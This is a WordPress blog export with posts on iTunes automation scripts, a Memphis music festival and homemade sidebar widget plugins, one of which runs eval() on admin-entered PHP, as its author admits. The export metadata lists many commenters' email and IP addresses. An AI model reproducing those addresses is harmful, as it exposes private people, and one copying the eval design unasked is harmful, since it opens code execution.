Nothing to see here http://ottodestruct.com/blog Random meanderings you're probably not interested in Wed, 24 Mar 2010 15:22:33 +0000 http://wordpress.org/?v=2.9.2 en 1.0 http://ottodestruct.com/blog http://ottodestruct.com/blog geekery general-spew hackeryGeekery linkeryGeneral Spew placeryGeneral Spew programmeryGeekery thingeryGeneral Spew twitter 1080p 21 27 30boxes 3drealms 3g 3gs 700-mhz adsense adult-swim advertising aimee air-travel airlines album alcohol amazon amazon-grocery amazon-prime angie apartment api app apple application aquarium art art-on-tap artwork atlanta-airport auction author automobile awesome bachelor-party bacon bacon-cups bacon-salt bands bar bar-hopping barbecue barbeque bars bartender basketball batman bbq beaker beale-street bean beer beer-festival beer-keg beer-making beer-tasting beethoven bikini birthday blackberry bling blog blogmailr blogroll blue-angels bluefin blues blues-city boat-race bob-dylan bobblehead bomb breweries brewers brewing brewing_science brews bruise brunch bulk buying-a-condo buzztime calendar calhouns cali cali-lewis camera can cartoon castle cell-phone cellular chad champaigne change charlie-bamforth cheeseburger cheeseburger-in-a-can cherry chicago chicago-air-and-water-show chicken-fried chicklet cingular cinnamon cloud-gate cnn coconut code coffee colbert cold college comedy-central comic comments computer condo connect cooler cooper-young costume-parties coupon crab css dad darts data-cable dead-tracks deal deals decatur-beer-festival definitely-downtown delicious delivery denim digg directions dishwasher diy dna dnf dogfish-head dolphins dont-panic douglas-adams downtown drink drinking drinking-game drive drugs drunk duke-nukem duke-nukem-forever duty-free-shops election eps exactscores explicit facebook family-guy fantasy fbfoundations fcc fedex feed feeds fermentation fermenter fermenting ferris-bueller fest festival filler final-four fire-eagle firefox fireworks fish fishermen flash flatbread-pizza flying-saucer foothills fountain free-money free-shipping freeshippingday fridge fuckers full fun funkadelic futurama gafyd gaming garfield garfieldminusgarfield geekbrief gene-simmons geordi george-carlin geotag gifts giggity godaddy godhatesshrimp good-time google google-map google-apps google-apps-integration google-checkout google-phone google-toolbar government gps grand-cayman groceries grocery grog growler gun gus hack hacker haggle handgun happy happy-birthday harbor harmony hdtv heart-attack hefeweizen henry-rollins hhgttg hitch-hiker hitchhiker hockey home homebrew homeland-security homeowner honky-tonk hoop hoops hops hosting house hta html-application idiocy idiots ign-worldwide image install integration iphone ipod irobot island itlapd itunes jack-daniel jagermeister java javascript jcrew jeans jellyvision jerky jon-arbuckle july4 ketel kip kit lake lake-michigan law lazydrinker lcd lee lg-cu500 libertybowl life lightning liqour liquid-explosives liquids liquor lnt4642 lnt4642h lolcats lorelle lyrics main-street majestic malicious manatee mandy map maps mars marvel math memphis memphis-in-may metal-museum meteor-shower meteors michigan-avenue microbrewers microformats millenium-park mimosa mississippi-river mixed-drinks moat mobile mobile-navigator moon moonlight mortgage moving mr-beer muppet music myfountain nasa nava navigation navigon ncaa nerds new-daisy-theater new-jersey new-construction night-shots nike ninja north-carolina northwest nosoapradio notmartha ntn nuclear nukeprice obama ode-to-joy omelet on-notice otto ottopress oysters pacific pacman paging pain paperwork parade parents parsing party paulryburn pbr peabody perseids phone phonebook photo photo-album photography photos photoshop photoshop-disasters php piano picasa picasaweb pina-colada piracy pirate pirate-day pissed plugin plugin-directory pocky popsci popular-science pork postie power-supply presents print privacy programming pub-crawl pub-olympics quagmire quality ques-brothers raifords raleigh real-estate realtors recall recipes red-rooster red-bull refund regexp restaurants ribs rip robot rock roomba roomba-hacking rover rss sailboat salad sales-tax-holiday samsung sapporo saucer savannah saveratings schalfly scott script security security-stickers see self-heating-can semi-charmed-kat september-19 serene settings seven-words sfc shedd-aquarium shinobi shopping shoulder sidebar simple simple-facebook-connect simpsons sip skyline sleep-out-louies slow-motion smart-playlist smell snob snow soap sony spam spammer spectrum spell-check spellcheck spuds-mackensie st-pats star-trek steak stupid stupidity stylesheets subscribe-and-save superdickery superior-bar sushi swirl t-mobile talklikeapirate tasting tasty techcrunch television tennessee terrorism texas texas-de-brazil the-liquor-fairy the-device theme-editing themes threading tigers tired tn todaysbigthing toilet-paper tommy-lee-jones tony top-of-the-hill towel tracks traffic tragedy trolley-tour tsa tsing-tao tumblr turn-by-turn tv tweetie tweets twitaloc twitter twitter-tools university-of-california updated-links usb useless vacation vodka vote-for-change water waze weather weekend westboro wheat wheat-beer wheel-of-fortune widget widgets wifi windows-scripting-host wine wireless wmc-tv wolf-river-harbor wolfgang-puck woot wordpress wordpress-themes wordpressorg wp-config wp-load wp_list_bookmarks wscript wtf x-men xhtml xmas xmen xml-rpc yard ydkj you-dont-know-jack youtube zombie iTunes Javascripts http://ottodestruct.com/blog/2005/itunes-javascripts/ Thu, 20 Oct 2005 17:01:27 +0000 http://ottodestruct.com/blog/2005/10/20/itunes-javascripts/
  • Creates a playlist of all the songs in the library with no artwork: http://ottodestruct.com/itunes/NoArtPlaylist.txt
  • Creates a playlist of all the songs in the library with no lyrics: http://ottodestruct.com/itunes/NoLyricsPlaylist.txt
  • Creates a playlist of all the songs in the library of which you only have one of them by that artist (one hit wonders): http://ottodestruct.com/itunes/onehitwonders.txt
  • Imports lyrics from EvilLyrics' into iTunes: http://ottodestruct.com/itunes/EvilLyricsImport.txt
  • Removes all lyrics from all songs in your library: http://ottodestruct.com/itunes/ClearLyrics.txt
  • Reload/update all songs in the library from the file tags (useful if you use another tagging program to make changes to tags): http://ottodestruct.com/itunes/update.txt
  • Finds dead tracks in your library and makes a list of them: http://ottodestruct.com/itunes/FindDeadTracks.txt
  • Removes dead tracks from your library (this one was actually written by Apple originally, I'm just including it for completeness): http://ottodestruct.com/itunes/RemoveDeadTracks.txt
  • I've written more, but these are the most general purpose ones. To use any of them, just download them, rename them to a *.js file, then run them like any other program (double click, select and press enter, type the name from a command prompt, etc). If you have all the defaults in XP or have the Windows Scripting Host installed on other Windows boxes, then the wscript.exe program actually runs the scripts, much like cmd.exe runs batch files. Same idea, anyway. The scripts connect to iTunes as a COM object and use it in that fashion. Works really well and is quite handy for scripting tasks in iTunes. Yeah, it doesn't actually integrate or anything, but it's still useful.]]>
    36 2005-10-20 11:01:27 2005-10-20 17:01:27 open open itunes-javascripts publish 0 0 post 0 _utw_tags_0 a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s:3:"tag";s:7:"wscript";}} DiggURL http://digg.com/apple/Javascript_your_iTunes_--_like_Applescript_for_Windows_ _geo_location , comment_count 100 trackback_count 6 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6478 matt_batham@hotmail.co.uk 81.107.95.167 2008-11-24 12:33:17 2008-11-24 18:33:17 1 0 0 89 YYkimberly@yahoo.com 206.255.202.113 2007-01-05 09:34:53 2007-01-05 15:34:53 1 0 0 88 otto@ottodestruct.com http:// 169.198.254.6 2007-01-05 09:28:29 2007-01-05 15:28:29 1 0 1 86 YYkimberly@yahoo.com 206.255.202.113 2007-01-04 17:33:22 2007-01-04 23:33:22 1 0 0 83 otto@ottodestruct.com http:// 66.61.41.225 2006-12-30 23:29:25 2006-12-31 05:29:25 1 0 1 80 ralphhered@gmail.com 71.14.102.221 2006-12-30 16:47:12 2006-12-30 22:47:12 1 0 0 81 ralphhered@gmail.com 71.14.102.221 2006-12-30 16:49:37 2006-12-30 22:49:37 1 0 0 78 otto@ottodestruct.com http:// 66.61.41.225 2006-12-30 02:11:24 2006-12-30 08:11:24 1 0 1 75 quentinwolf@gmail.com 142.179.219.143 2006-12-29 22:47:59 2006-12-30 04:47:59 1 0 0 106 cseenastyle@hotmail.com 69.106.38.18 2007-01-14 15:58:53 2007-01-14 21:58:53 1 0 0 110 http://blog.nogo.se/2007/01/17/scripting-itunes-making-an-alarm-clock/ 83.140.32.141 2007-01-17 06:21:54 2007-01-17 12:21:54 1 pingback 0 0 115 cafemrit@ncsu.edu 24.163.32.201 2007-01-22 10:14:18 2007-01-22 16:14:18 1 0 0 116 marshall87_101@hotmail.com 172.142.55.70 2007-01-22 14:39:53 2007-01-22 20:39:53 1 0 0 212 casto.robert@gmail.com http://www.robertcasto.com 67.160.56.180 2007-02-20 21:34:59 2007-02-21 03:34:59 1 0 0 215 otto@ottodestruct.com http:// 75.64.210.176 2007-02-21 02:34:12 2007-02-21 08:34:12 1 0 1 183 charly210975@web.de 84.75.196.88 2007-02-14 14:45:39 2007-02-14 20:45:39 1 0 0 173 chris@skase.net 58.107.153.163 2007-02-12 07:21:27 2007-02-12 13:21:27 1 0 0 174 getmybooks1@hotmail.com 129.186.16.155 2007-02-12 12:07:25 2007-02-12 18:07:25 1 0 0 210 g@bug.com 24.21.186.25 2007-02-20 19:30:42 2007-02-21 01:30:42 1 0 0 191 silverjrollot@yahoo.fr 85.93.221.176 2007-02-17 05:27:18 2007-02-17 11:27:18 1 0 0 262 Paulb_16@hotmail.com 82.39.194.194 2007-03-04 16:08:57 2007-03-04 22:08:57 1 0 0 260 obsessive_writer@yahoo.com 72.177.220.159 2007-03-03 18:34:00 2007-03-04 00:34:00 1 0 0 338 sarb25@gmail.com 68.72.89.185 2007-03-20 19:11:19 2007-03-21 00:11:19 1 0 0 244 Niztap27@gmail.com 72.230.77.16 2007-02-28 16:16:20 2007-02-28 22:16:20 1 0 0 248 pfmartin03@gmail.com 68.33.54.190 2007-03-01 19:52:22 2007-03-02 01:52:22 1 0 0 328 http://eschew.org/blog/?p=253 205.196.208.13 2007-03-18 18:19:20 2007-03-18 23:19:20 1 pingback 0 0 423 info@conan-troutman.de 91.89.17.33 2007-03-31 07:28:04 2007-03-31 12:28:04 1 0 0 282 cbonifax@msn.com 189.139.33.116 2007-03-09 00:37:43 2007-03-09 06:37:43 1 0 0 286 christian.koeln@gmx.net 145.253.32.3 2007-03-09 08:51:40 2007-03-09 14:51:40 1 0 0 287 christian.koeln@gmx.net 145.253.32.3 2007-03-09 08:54:46 2007-03-09 14:54:46 1 0 0 750 maarten.noe@gmail.com 83.134.128.165 2007-05-17 04:00:40 2007-05-17 09:00:40 1 0 0 588 fakeemail324@yahoo.com 66.31.62.59 2007-04-21 18:13:29 2007-04-21 23:13:29 1 0 0 679 todd@toddkogutt.com 32.97.110.142 2007-05-10 13:41:35 2007-05-10 18:41:35 1 0 0 680 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-05-10 14:26:35 2007-05-10 19:26:35 1 0 1 596 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-04-23 10:37:30 2007-04-23 15:37:30 1 0 1 664 bluqueen77@hotmail.com http://www.eve-marie.com 67.164.27.83 2007-05-08 23:08:07 2007-05-09 04:08:07 1 0 0 618 quandry@tyrlen.org 24.20.115.54 2007-04-30 12:53:31 2007-04-30 17:53:31 1 0 0 620 quandry@tyrlen.org 24.20.115.54 2007-04-30 23:47:28 2007-05-01 04:47:28 1 0 0 613 Haido-chan@gmx.de 84.184.119.139 2007-04-29 08:13:18 2007-04-29 13:13:18 1 0 0 1076 jmahoney82@cfl.rr.com 65.33.58.185 2007-06-22 23:04:28 2007-06-23 04:04:28 1 0 0 814 ndujovne@gmail.com http://nloomis-brainstorm.blogspot.com 200.27.102.242 2007-05-25 10:05:59 2007-05-25 15:05:59 1 0 0 863 nospamprl@yahoo.com 201.141.130.52 2007-05-31 02:03:38 2007-05-31 07:03:38 1 0 0 993 jmahoney82@cfl.rr.com 65.33.58.185 2007-06-18 19:49:54 2007-06-19 00:49:54 1 0 0 1238 blood_seal333@yahoo.com 24.24.241.38 2007-07-06 21:11:47 2007-07-07 02:11:47 1 0 0 939 campbell_hendry@hotmail.com 24.90.12.156 2007-06-09 18:08:17 2007-06-09 23:08:17 1 0 0 987 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-06-18 09:00:03 2007-06-18 14:00:03 1 0 1 1064 jmahoney82@cfl.rr.com 65.33.58.185 2007-06-22 12:04:13 2007-06-22 17:04:13 1 0 0 977 jmahoney82@cfl.rr.com 65.33.58.185 2007-06-17 20:55:27 2007-06-18 01:55:27 1 0 0 931 http://liquidparallax.com/2007/06/09/windows-itunes-scripts-downloads/ 64.22.87.26 2007-06-09 02:10:31 2007-06-09 07:10:31 1 pingback 0 0 932 http://liquidparallax.com/2006/12/07/ihope-itunes-gripes-and-wishlist/ 64.22.87.26 2007-06-09 02:31:52 2007-06-09 07:31:52 1 pingback 0 0 1200 sGoodwin@viclink.com 68.116.101.196 2007-06-29 18:28:03 2007-06-29 23:28:03 1 0 0 4478 andrew-other-dixon1971@ntlworld.com 82.2.218.67 2007-12-24 04:29:27 2007-12-24 09:29:27 1 0 0 1438 nuzecast@gmail.com 216.211.42.121 2007-08-02 19:56:43 2007-08-03 00:56:43 1 0 0 1794 figmentoftheimagination@hotmail.com 63.84.228.226 2007-08-31 16:12:07 2007-08-31 21:12:07 1 0 0 1419 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-08-01 12:24:01 2007-08-01 17:24:01 var iTunesApp = WScript.CreateObject("iTunes.Application"); var track = iTunesApp.CurrentTrack; track.PlayedCount = 5; Just select your track in iTunes (highlight it) then run this script. It'll set that tracks played count to 5.]]> 1 0 1 4598 stusid@hotmail.com 81.151.1.61 2008-01-01 10:10:50 2008-01-01 15:10:50 1 0 0 1350 bluebettie99@yahoo.com.au http://n/a 202.161.30.14 2007-07-23 18:56:25 2007-07-23 23:56:25 1 0 0 1738 wally3800@yahoo.com 193.188.105.230 2007-08-26 07:40:10 2007-08-26 12:40:10 1 0 0 1347 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-07-23 10:31:38 2007-07-23 15:31:38 1 0 1 1348 hitrate@gmail.com 81.251.90.112 2007-07-23 12:19:35 2007-07-23 17:19:35 1 0 0 1349 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-07-23 13:33:32 2007-07-23 18:33:32 1 0 1 1878 tv46386@hotmail.com 66.183.192.197 2007-09-10 10:48:21 2007-09-10 15:48:21 1 0 0 3656 username9876@mail.com 64.151.24.26 2007-11-10 23:41:02 2007-11-11 04:41:02 1 0 0 1332 curtiscierpik@comcast.net 12.117.182.146 2007-07-19 08:51:50 2007-07-19 13:51:50 1 0 0 4286 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2007-12-16 04:42:46 2007-12-16 09:42:46 1 0 1 4427 http://infotrendit.com/2007/12/22/my-guy-lyrics/ 207.226.183.66 2007-12-21 23:31:07 2007-12-22 04:31:07 1 pingback 0 0 4280 l_quach@hotmail.com 68.150.34.31 2007-12-15 17:15:55 2007-12-15 22:15:55 1 0 0 4160 marliebets@yahoo.com 69.109.172.4 2007-12-10 14:25:51 2007-12-10 19:25:51 1 0 0 4067 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-11-29 14:36:18 2007-11-29 19:36:18 1 0 1 3469 kenaij@yahoo.com 216.10.53.67 2007-10-05 22:57:40 2007-10-06 03:57:40 1 0 0 4224 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-12-13 10:18:23 2007-12-13 15:18:23 1 0 1 3474 http://ideahustle.com/music/2007/10/07/itunes-javascripts/ 72.232.182.234 2007-10-07 05:24:11 2007-10-07 10:24:11 1 pingback 0 0 4741 changeworks1@hotmail.com 87.194.160.180 2008-02-19 04:45:54 2008-02-19 10:45:54 1 0 0 4723 username9876@mail.com 64.151.24.26 2008-02-02 18:32:10 2008-02-03 00:32:10 1 0 0 4724 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-02-03 10:05:12 2008-02-03 16:05:12 1 0 1 4331 lenny_q@hotmail.com 142.179.213.155 2007-12-17 17:46:13 2007-12-17 22:46:13 1 0 0 4725 temp2007@joyce-family.net 90.203.167.233 2008-02-04 06:03:03 2008-02-04 12:03:03 1 0 0 4726 temp2007@joyce-family.net 90.203.167.233 2008-02-04 13:08:27 2008-02-04 19:08:27 1 0 0 4727 username9876@mail.com 64.151.24.26 2008-02-05 08:01:21 2008-02-05 14:01:21 1 0 0 4065 marliebets@yahoo.com 75.49.103.121 2007-11-29 13:18:25 2007-11-29 18:18:25 1 0 0 4363 jwleonhardt@hotmail.com 217.83.78.202 2007-12-18 08:07:55 2007-12-18 13:07:55 1 0 0 4748 johnpaulvaughan@yahoo.co.uk 58.172.148.192 2008-03-01 18:29:14 2008-03-02 00:29:14 1 0 0 4749 johnpaulvaughan@yahoo.co.uk 58.172.148.192 2008-03-01 18:31:12 2008-03-02 00:31:12 1 0 0 4751 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-03-02 08:06:11 2008-03-02 14:06:11 var currTrack = tracks.Item(numTracks); That ain't right. Also, it's a weird way to write a loop. Using a while when you have a fixed number of tracks to go through doesn't make any sense. Use a for loop instead. Like this: for (i = 1; i <= numTracks; i++) { var currTrack = tracks.Item(i); ... You won't need to increment i or decrement numTracks this way. Another problem: What exactly is this supposed to do? if (storedComm.match(/, acoustic/i) == null) currTrack.Comment.replace (”acoustic”, “”); As written, that doesn't make much sense. It's searching for "(comma)(space)acoustic" in the comment, and when it does not find it (the == null part), it attempts to replace the word acoustic with an empty string. I'm not sure that is what you want to do. I think you're wanting to find the word acoustic and remove it from the comment, yes? In which case forget the match, just do the replace directly.]]> 1 0 1 4752 prfctvrs@mindspring.com 66.32.151.30 2008-03-02 10:07:41 2008-03-02 16:07:41 1 0 0 4753 johnpaulvaughan@yahoo.co.uk 58.172.148.192 2008-03-03 04:36:08 2008-03-03 10:36:08 1 0 0 4755 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2008-03-04 09:11:32 2008-03-04 15:11:32 var str = currTrack.Comment; str = str.replace("acoustic", ""); currTrack.Comment = str;]]> 1 0 1 4771 npottala@hotmail.com 68.97.91.100 2008-03-15 15:45:51 2008-03-15 20:45:51 1 0 0 4781 mellis@paab.nu 81.234.250.99 2008-03-20 14:06:55 2008-03-20 19:06:55 1 0 0 4923 billox@nospamfor.us 79.37.207.72 2008-03-30 12:04:56 2008-03-30 17:04:56 1 0 0 5760 daletcliao@gmail.com 207.54.137.91 2008-04-10 10:09:56 2008-04-10 15:09:56 1 0 0 6017 borgspeon@gmail.com 24.247.121.42 2008-07-24 20:00:07 2008-07-25 01:00:07 1 0 0 5994 ryandrean@gmail.com 99.11.236.31 2008-07-13 18:59:27 2008-07-13 23:59:27 1 0 0 6028 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-07-28 15:36:17 2008-07-28 20:36:17 1 0 1 5995 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-07-14 10:56:57 2008-07-14 15:56:57 1 0 1 5993 npottala@hotmail.com 68.97.91.100 2008-07-13 17:00:44 2008-07-13 22:00:44 1 0 0 5978 c.n.s@hotmail.com 213.114.225.84 2008-07-04 20:23:26 2008-07-05 01:23:26 1 0 0 5935 daledesilva@gmail.com http://www.oiltinman.com 220.237.34.159 2008-06-12 19:26:12 2008-06-13 00:26:12 1 0 0 5938 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-06-13 05:48:28 2008-06-13 10:48:28 1 0 1 6027 nadnerb@gmail.com 81.157.200.22 2008-07-28 15:29:08 2008-07-28 20:29:08 1 0 0 5932 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-06-11 08:45:18 2008-06-11 13:45:18 1 0 1 5927 peter@balvine.com http://www.balvine.com 195.54.230.173 2008-06-10 10:53:32 2008-06-10 15:53:32 1 0 0 5930 daledesilva@gmail.com http://www.oiltinman.com 220.237.34.159 2008-06-11 06:34:52 2008-06-11 11:34:52 1 0 0 5925 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-06-08 09:26:22 2008-06-08 14:26:22 1 0 1 5924 aldo.t@tiscali.it 79.25.129.48 2008-06-08 08:30:52 2008-06-08 13:30:52 1 0 0 6133 cseenastyle@hotmail.com 67.94.25.34 2007-01-12 16:43:49 2007-01-12 21:43:49
    Didn't know that this was possible, awesome!

    I've been looking for a way to create a playlist for each album. In other words, every track that belongs to an album will go into a playlist called "artist - album". This doesn't exist for Windows! But there are a few solutions for OSX like this one: ( http://www.dougscripts.com/itunes/scripts/scrip... ), which doesn't help me.

    Can you write, or help me write, a script that does this?

    Thanks,
    Seena]]>
    1 0 0
    6132 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-01-05 10:49:49 2007-01-05 15:49:49 1 0 0 6356 ross@austarrs.net 58.110.38.244 2008-10-27 03:28:12 2008-10-27 08:28:12 1 0 0 6268 bovril_@hotmail.com 213.94.251.137 2008-09-04 11:46:48 2008-09-04 16:46:48 1 0 0 6270 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-09-08 01:48:51 2008-09-08 06:48:51 1 6268 1 6271 estirate@gmail.com http://www.terapiamanual.com.ve 190.77.151.16 2008-09-13 08:00:02 2008-09-13 13:00:02 1 0 0 6276 anthonypalacios@hotmail.com 68.3.154.252 2008-09-28 01:34:03 2008-09-28 06:34:03 1 5995 0 6278 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-09-28 10:23:29 2008-09-28 15:23:29 1 6276 1 6354 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-10-26 14:02:41 2008-10-26 19:02:41 1 6348 1 6357 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-27 08:19:10 2008-10-27 13:19:10 1 6356 1 6348 ross@austarrs.net 58.110.43.195 2008-10-26 03:23:00 2008-10-26 08:23:00 1 0 0 6272 Skates1616@yahoo.com 76.16.245.160 2008-09-18 00:16:21 2008-09-18 05:16:21 1 0 0 6457 twilight3@charter.net 71.90.129.3 2008-11-15 10:06:22 2008-11-15 16:06:22 1 0 0 6458 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-15 10:09:53 2008-11-15 16:09:53 1 6457 1 6494 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-11-30 10:39:23 2008-11-30 16:39:23 1 6493 1 6493 hydra88@gmail.com 78.145.25.5 2008-11-30 09:30:02 2008-11-30 15:30:02 1 0 0
    iTunes SaveRatings Script http://ottodestruct.com/blog/2006/itunes-saveratings-script/ Fri, 03 Feb 2006 13:54:15 +0000 http://ottodestruct.com/blog/?p=215 http://ottodestruct.com/itunes/SaveRatings.zip]]> 215 2006-02-03 08:54:15 2006-02-03 13:54:15 open open itunes-saveratings-script publish 0 0 post 0 _edit_lock 1215438967 _geo_location , _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Memphis in May http://ottodestruct.com/blog/2006/memphis-in-may/ Tue, 28 Mar 2006 03:26:13 +0000 http://ottodestruct.com/blog/2006/03/27/memphis-in-may/ Okay, so MiM is coming up soon, and the Beale Street Music Festival is calling out, crying out for recognition. As usual, I will be having over any of my friends who care to come for a weekend of music, ribs, and debauchery, albeit not necessarily in that order.

    So, all the information you want can be found on the Memphis in May website, and I’ll be emailing everybody soon with details on my discount. It will not be much, but considering that the single day price at the gate will be $25 this year, it’s better than in the past.

    The band lineup is also available on their website, but if you’re not up for web navigation, here’s a direct link: (PDF)

    Dates are May 5th, 6th, and 7th. There is one other good thing this year. In the past couple years, they always saved the best for last, as Mandy can testify to. This year, that doesn’t seem to be the case. Sunday’s lineup does have some quality bands, however, IMO, the best music is going to be on Friday and Saturday. Including B.B. King, who’s right at the top of Friday.

    Anyway, come one, come all.

    Edit: I sent out an email to several people with the details. If you didn’t get that email, and you want to come, email me for those details.

    ]]>
    33 2006-03-27 21:26:13 2006-03-28 03:26:13 open open memphis-in-may publish 0 0 post 0 _geo_location , _utw_tags_0 a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"bands";}i:1;O:8:"stdClass":1:{s:3:"tag";s:12:"Beale-Street";}i:2;O:8:"stdClass":1:{s:3:"tag";s:5:"blues";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"festival";}i:4;O:8:"stdClass":1:{s:3:"tag";s:10:"funkadelic";}i:5;O:8:"stdClass":1:{s:3:"tag";s:14:"Memphis-in-May";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"music";}i:7;O:8:"stdClass":1:{s:3:"tag";s:4:"rock";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Fun with Widgets http://ottodestruct.com/blog/2006/fun-with-widgets/ Mon, 10 Apr 2006 02:14:53 +0000 http://ottodestruct.com/blog/2006/04/09/fun-with-widgets/ http://wordpress.org/extend/plugins/php-code-widget/ A new plugin for Wordpress came out that's kinda cool. It's called Widgets, and the general idea of it is to make the sidebars on your blog a bit more configurable, a bit more easily. So, I decided to spend an hour or so converting my sidebars to Widgets so I could manage them a bit simpler. Editing PHP code is easy but time consuming, while dragging stuff and dropping it to rearrange the blog, well, that's quick and easy. Few things I learned:
    1. The Widgets Plugin does not like Windows. Since I run this site on a Windows box (edit: I did then, I don't anymore, and anyway, they have fixed this problem since then), it needed some tweaking to make it work. For those who want to know, the problem is in the sidebar_admin_setup() function in widgets.php. More info on this problem is in the comments of this post.
    2. Text boxes are extremely useful when converting from your existing customized webpage to a widgets based one, as you can simply cut and paste chunks of HTML into them and voila, you've got a sidebar widget. However, there's not a lot of text widgets available. If you need more text widgets, you will need to edit these functions: widget_text_setup(), widget_text_page(), and widget_text_register(). As it turned out, I didn't need but 4 text widgets because:
    3. Despite how useful text boxes were for a quick migration, they were not enough.
    So, I ended up writing two plugins of my own. The first one is a Google AdSense plugin. You can download it here: gadsense.zip. It's exactly the same as the Text widgets, but with (very) minor tweaks specifically for inserting Google Ads in the sidebars. Also, it shows a name of "Google AdSense" in the widgets panel, which is nice. Like the Text widget, you can have more than 1 of them, but unlike the Text widget, you can only have 4 of them, since Google's TOS only allows 3 ads and 1 link block on a page. The next one is also like the Text plugin, however it will also let you put PHP code into the text and have it actually work. Here's the download: execphp.zip. Like the Text plugin, you can have up to 9 of them (more if you want to tweak the code). Note that any PHP code you put into the widget MUST be surrounded by <?php and ?> tags, just like writing PHP normally. Also note that this is isn't exactly safe, as it's just doing an eval() on whatever you put in there, so you have complete and full access, as does anybody else who can get to your admin screen. Still, it's very useful. Both of those are plugins. Just drop them in the widgets folder under the plugins folder, and activate them on the plugins screen. Then the widgets will be available for you to use on the widgets screen. Hope these help somebody. They sure helped me. )]]>
    32 2006-04-09 20:14:53 2006-04-10 02:14:53 open open fun-with-widgets publish 0 0 post 0 _geo_location , _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"adsense";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"google";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"PHP";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"widget";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"widgets";}i:5;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} comment_count 87 trackback_count 110 _edit_lock 1226070431 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 27 http://www.johnchow.com/it%e2%80%99s-going-to-be-a-long-rush-hour/ 64.40.100.133 2006-11-29 18:32:36 2006-11-30 00:32:36 1 pingback 0 0 8 kris@krisnet.org 212.254.198.230 2006-11-17 19:33:31 2006-11-18 01:33:31 1 0 0 9 otto@ottodestruct.com http:// 66.61.41.225 2006-11-17 20:17:36 2006-11-18 02:17:36 1 0 1 28 http://www.hiifii.com/476/it%e2%80%99s-going-to-be-a-long-rush-hour.html 69.57.140.71 2006-11-30 09:27:47 2006-11-30 15:27:47 1 pingback 0 0 102 mark@potluck.com http://potluck.com 24.164.168.5 2007-01-11 13:18:39 2007-01-11 19:18:39 1 0 0 99 simonkfindlay@gmail.com 217.43.148.75 2007-01-08 23:00:10 2007-01-09 05:00:10 1 0 0 100 http://thesmocklady.com/blog/?p=46 209.59.136.18 2007-01-10 08:29:38 2007-01-10 13:29:38 1 pingback 0 0 104 mark@potluck.com http://potluck.com 24.164.168.5 2007-01-12 09:53:10 2007-01-12 15:53:10 1 0 0 6431 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-07 09:12:08 2008-11-07 15:12:08 1 6382 1 87 http://www.craigmurphy.com/blog/?p=493 213.228.232.148 2007-01-04 19:49:12 2007-01-05 01:49:12 1 pingback 0 0 94 tech.nectar@gmail.com http://gadgetsfun.blogspot.com/ 61.246.117.165 2007-01-06 08:17:57 2007-01-06 14:17:57 1 0 0 121 aoleon@aoleonthemartiangirl.com http://www.aoleonthemartiangirl.com 69.116.142.97 2007-01-24 11:33:27 2007-01-24 17:33:27 1 0 0 118 http://www.johnchow.com/my-16-best-wordpress-plugins/ 64.40.100.133 2007-01-23 03:01:27 2007-01-23 09:01:27 1 pingback 0 0 270 http://www.blomig.com/2007/03/06/le-classement-des-commentateurs-sur-votre-blog/ 208.97.183.20 2007-03-06 11:57:51 2007-03-06 17:57:51 1 pingback 0 0 123 blog@securistar.com http://www.securistar.com 85.194.51.156 2007-01-24 19:04:05 2007-01-25 01:04:05 1 0 0 197 http://www.gregghawkins.com/wordpress-added-plugins/ 74.52.179.98 2007-02-18 23:04:16 2007-02-19 05:04:16 1 pingback 0 0 198 